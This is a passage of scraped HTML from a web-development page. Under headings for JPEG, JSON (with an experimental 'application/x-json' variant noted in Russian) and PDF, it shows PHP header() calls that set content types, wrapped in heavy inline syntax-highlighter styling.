! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">JPEG Image</h2>
<div id="highlighter_753971" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: image/jpeg'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">JSON</h2>
<div id="highlighter_855465" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: application/json'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">для JSON есть эксперементальный префикс</h2>
<div id="highlighter_855465" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: none; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; color: red ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: application/x-json'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;"><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em></em></span></h2>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">PDF</h2>
<div id="highlighter_30611" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: application/pdf'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier 